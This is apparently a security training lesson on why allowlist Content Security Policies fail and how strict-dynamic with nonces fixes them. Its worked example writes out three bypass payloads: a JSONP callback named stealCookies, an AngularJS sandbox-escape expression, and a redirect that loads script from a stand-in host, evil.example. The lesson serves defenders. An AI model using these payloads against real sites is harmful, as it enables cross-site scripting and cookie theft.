CSP Bypasses: Why Allowlist Policies Fail
On this page
Learning Objective
Explain the structural reasons allowlist-based CSP policies fail, including JSONP endpoints, framework sandbox escapes, and open redirects on allowlisted hosts, and describe how strict-dynamic replaces the allowlist model.
Concept Explanation
The allowlist model asks a question the page author cannot actually answer: which hosts serve only content that is safe to execute in my origin. Answering it correctly requires knowing everything currently hosted on every allowlisted domain, and everything that will be hosted there in future, which is not knowable. That is the structural reason Google's survey of over a billion domains found roughly 94.7 percent of deployed policies trivially bypassable, and why the recommended approach moved away from allowlists entirely.
The most reliable bypass is a JSONP endpoint on an allowlisted host. JSONP returns arbitrary JavaScript with a caller-chosen callback name, so an attacker who can inject a script tag pointing at an allowlisted JSONP endpoint, with the callback parameter set to their payload, achieves arbitrary script execution while fully complying with script-src. Large, widely allowlisted domains including Google's and Yandex's have historically hosted such endpoints, which is why allowlisting a big provider's domain is frequently equivalent to allowlisting arbitrary script. Public catalogs of known CSP bypass gadgets on popular CDNs exist precisely because this is so common.
The second category is framework gadgets. AngularJS versions 1.x included an expression sandbox that many teams treated as a security boundary; the Angular team explicitly stated it was not one and removed it in version 1.6 in 2016, and a long series of published sandbox escapes means that allowlisting a CDN that serves AngularJS gives an attacker a path from an injected HTML attribute to arbitrary execution. The general pattern, named "script gadgets" in the research literature, is that a legitimately allowlisted library reads markup and turns it into behavior, so injected markup becomes injected behavior without any new script source being loaded.
The third category is anything on an allowlisted host that produces attacker-controlled output. An open redirect on an allowlisted origin can be used to reach a different host while the initially requested URL passes the policy check, since path-restricted sources are not rechecked after a redirect. A file upload endpoint on an allowlisted origin that serves user content with a script content type is arbitrary script execution by definition. A user-content subdomain, a CDN bucket shared with other tenants, and a staging host with looser deployment controls are all the same problem.
strict-dynamic is the answer to all three. It changes the evaluation rule so that any script which was itself trusted, meaning it carried a valid nonce or matching hash, may in turn load further scripts programmatically, and all host-based source expressions in the policy are ignored. Trust propagates through the script graph from an explicitly trusted root rather than being asserted about hosts. The consequence is that adding a CDN to the policy is no longer necessary and no longer possible, so none of the three bypass categories applies: a JSONP endpoint is only reachable if an already-trusted script chooses to load it. The one thing strict-dynamic does not permit is markup-parsed script injection, so script tags written into the DOM through innerHTML still do not execute, which is exactly the property you want.
| Bypass | Mechanism | Defeated by strict-dynamic? |
|---|---|---|
| JSONP on an allowlisted host | Callback parameter returns attacker-chosen JavaScript | Yes; host sources are ignored entirely |
| AngularJS sandbox escape | Injected markup interpreted as an expression by a trusted library | Partially; the library must still be loaded, but Trusted Types is the real fix |
| Open redirect on an allowlisted origin | The policy check passes before the redirect to another host | Yes; no host allowlist to satisfy |
| User-content subdomain serving script | Attacker uploads a file served with a script content type | Yes, unless a trusted script chooses to load it |
| 'unsafe-eval' with a gadget library | String-to-code conversion reachable from injected data | No; remove unsafe-eval and adopt Trusted Types |
Worked Example: Three Bypasses Against One Policy
The policy below is typical of a real deployment and is defeated three different ways without any of them violating script-src. The replacement underneath removes the allowlist that made all three possible.
# A typical allowlist policy
Content-Security-Policy:
script-src 'self' https://cdn.example.com https://accounts.google.com;
object-src 'none'
# BYPASS 1 - JSONP on an allowlisted origin. The callback parameter is the
# payload; the response is valid JavaScript from an allowed host.
<script src="https://accounts.google.com/o/oauth2/revoke?callback=stealCookies"></script>
# BYPASS 2 - a script gadget. AngularJS is on the allowlisted CDN, so the
# injected markup below becomes an expression the trusted library evaluates.
<div ng-app>{{ constructor.constructor('alert(1)')() }}</div>
# BYPASS 3 - an open redirect on an allowlisted origin. The requested URL
# satisfies the policy; the redirect target is not rechecked against a path.
<script src="https://cdn.example.com/redirect?to=https://evil.example/p.js"></script>
# ------------------------------------------------------------------
# The replacement: trust propagates from a nonce, not from hosts.
Content-Security-Policy:
script-src 'nonce-{PER_RESPONSE}' 'strict-dynamic' https: 'unsafe-inline';
object-src 'none'; base-uri 'none'
# 'https:' and 'unsafe-inline' are ignored by browsers that support
# strict-dynamic and exist only as a fallback for older ones.
# All three bypasses above now fail: there is no host allowlist to abuse.Real-World Examples
- The 2016 CCS paper "CSP Is Dead, Long Live CSP!" by Weichselbaum, Spagnuolo, Lekies, and Janc analyzed CSP deployment across more than a billion domains and found approximately 94.7 percent of policies bypassable, with JSONP endpoints on commonly allowlisted domains and the widespread use of unsafe-inline as the principal causes; strict-dynamic was introduced into CSP Level 3 as the direct result of that work.
- The AngularJS team removed the expression sandbox in version 1.6, released in 2016, after publicly stating that it had never been a security boundary and that the steady stream of published escapes made maintaining it misleading; the episode is the canonical example of a script gadget, where allowlisting a CDN that serves a popular framework hands an attacker a route from injected markup to arbitrary execution without loading any new script source.
Review Questions & Answers
Because large providers host enormous numbers of endpoints, and historically many of them included JSONP endpoints that return caller-specified JavaScript. An attacker who can inject a script tag pointing at such an endpoint, with the callback parameter set to their payload, executes arbitrary code from a host the policy explicitly trusts. Nothing about the policy is violated, and the page author has no realistic way to audit everything a provider serves now or in future.
A script gadget is a legitimately loaded, trusted library that reads markup and turns it into behavior, so injected markup becomes injected behavior without loading any new script. AngularJS is the standard example because its templating directives evaluate expressions found in attributes and text, and its expression sandbox, which was never intended as a security boundary and was removed in version 1.6, was repeatedly escaped, meaning an attacker who could inject an attribute into a page using Angular could reach arbitrary execution.
It replaces host-based trust with propagated trust: a script that carried a valid nonce or hash may programmatically load further scripts, and all host source expressions are ignored. Trust flows along the script graph from an explicitly marked root. It deliberately continues to block script introduced by parsing markup, so a script tag written through innerHTML does not execute, which preserves the protection against exactly the injection vector CSP exists to blunt.
Purely for backward compatibility. Browsers that support strict-dynamic are required to ignore both of those expressions when it is present, so they have no effect on modern enforcement. Browsers that do not support strict-dynamic ignore that keyword instead and fall back to the host and inline expressions, which keeps the site functional rather than breaking it entirely. It looks contradictory but is a specified layering pattern.